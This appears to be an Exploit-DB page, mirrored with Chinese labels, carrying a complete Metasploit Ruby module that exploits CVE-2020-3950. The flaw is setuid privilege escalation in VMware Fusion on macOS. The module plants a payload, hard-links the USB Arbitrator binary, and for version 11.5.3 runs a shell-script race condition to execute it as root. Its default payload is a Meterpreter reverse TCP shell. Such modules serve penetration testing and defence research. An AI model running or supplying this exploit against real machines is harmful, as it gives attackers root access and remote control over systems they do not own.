VMware Fusion – USB Arbitrator Setuid Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2020-04-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48337/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::OSX::Priv
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
    'Description'=> %q(
    This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
    The Open VMware USB Arbitrator Service can be launched outide of its standard path
    which allows loading of an attacker controlled binary.By creating a payload in the
    user home directory in a specific folder, and creating a hard link to the 'Open VMware
    USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
    with an effective UID of 0.
    @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
    Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'h00die', # msf module
    'Dhanesh Kizhakkinan', # discovery
    'Rich Mirch', # edb module
    'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
    'grimm'
    ],
    'Platform' => [ 'osx' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=> [[ 'Auto', {} ]],
    'Privileged' => true,
    'References' =>
    [
    [ 'CVE', '2020-3950' ],
    [ 'EDB', '48235' ],
    [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
    [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
    [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
    ],
    'DisclosureDate' => 'Mar 17 2020',
    'DefaultOptions' =>
    {
    'PAYLOAD'=> 'osx/x64/meterpreter_reverse_tcp',
    'WfsDelay' => 15
    }
    )
    )
    
    register_options [
    OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
    ]
    
    register_advanced_options [
    OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
    end
    
    def open_usb_service
    'Open VMware USB Arbitrator Service'
    end
    
    def usb_service
    'VMware USB Arbitrator Service'
    end
    
    def get_home_dir
    home = cmd_exec 'echo ~'
    if home.blank?
    fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
    end
    home
    end
    
    def content_dir
    "#{get_home_dir}/Contents"
    end
    
    def base_dir
    "#{content_dir}/Library/services/"
    end
    
    def kill_process(executable)
    pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
    cmd_exec pid_kill
    end
    
    def get_version
    # Thanks to @ddouhine on github for this answer!
    version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
    /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
    if version_raw.blank?
    fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version.Set ForceExploit to override.'
    end
    Gem::Version.new(version)
    end
    
    def pre_11_5_3
    # Upload payload executable & chmod
    payload_filename = "#{base_dir}#{usb_service}"
    print_status "Uploading Payload: #{payload_filename}"
    write_file payload_filename, generate_payload_exe
    chmod payload_filename, 0o755
    register_file_for_cleanup payload_filename
    
    # create folder structure and hard link to the original binary
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
    print_status "Created folder (#{link_folder}) and link"
    
    print_status 'Starting USB Service (5 sec pause)'
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
    Rex.sleep 5 # give time for the service to execute our payload
    print_status 'Killing service'
    cmd_exec "pkill '#{open_usb_service}'"
    print_status "Deleting #{root_link_folder}"
    rm_rf root_link_folder
    end
    
    def exactly_11_5_3
    # Upload payload executable & chmod
    payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    print_status "Uploading Payload to #{payload_name}"
    write_file payload_name, generate_payload_exe
    chmod payload_name, 0o755
    #create race with codesign check
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    print_status 'Uploading race condition executable.'
    race = <<~EOF
    #!/bin/sh
    while [ "1" = "1" ]; do
    ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
    ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
    done
    EOF
    racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx racer_name, race
    register_file_for_cleanup racer_name
    register_dirs_for_cleanup root_link_folder
    # create the hard link
    print_status "Creating folder (#{link_folder}) and link"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
    
    # create the launcher to start the racer and keep launching our service to attempt to win
    launcher = <<~EOF
    #!/bin/sh
    #{racer_name} &
    for i in {1..#{datastore['MAXATTEMPTS']}}
    do
    echo "attempt $i";
    '#{link_folder}#{open_usb_service}'
    done
    EOF
    runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx runner_name, launcher
    register_file_for_cleanup runner_name
    
    print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    results = cmd_exec "#{runner_name} & :"
    Rex.sleep 15 # give time for the service to execute our payload
    vprint_status results
    
    print_status 'Exploit Finished, killing scripts.'
    kill_process racer_name
    kill_process runner_name # in theory should be killed already but just in case
    kill_process "'#{link_folder}#{open_usb_service}'"
    # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
    # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
    # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
    end
    
    def check
    unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
    print_bad "'#{open_usb_service}' binary missing"
    return CheckCode::Safe
    end
    version = get_version
    if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
    vprint_good "Vmware Fusion #{version} is exploitable"
    else
    print_bad "VMware Fusion #{version} is NOT exploitable"
    return CheckCode::Safe
    end
    CheckCode::Appears
    end
    
    def exploit
    # First check the system is vulnerable, or the user wants to run regardless
    unless check == CheckCode::Appears
    unless datastore['ForceExploit']
    fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
    end
    print_warning 'Target does not appear to be vulnerable'
    end
    
    # Check if we're already root
    if is_root?
    unless datastore['ForceExploit']
    fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end
    end
    
    # Make sure we can write our payload to the remote system
    rm_rf content_dir # live dangerously.
    if directory? content_dir
    fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically.Please delete or exploit will fail."
    end
    cmd_exec "mkdir -p #{base_dir}"
    register_dirs_for_cleanup content_dir
    unless writable? base_dir
    fail_with Failure::BadConfig, "#{base_dir} is not writable."
    end
    
    version = get_version
    if version == Gem::Version.new('11.5.3')
    vprint_status 'Using 11.5.3 exploit'
    exactly_11_5_3
    elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
    vprint_status 'Using pre-11.5.3 exploit'
    pre_11_5_3
    end
    rm_rf content_dir # live dangerously.
    end
    end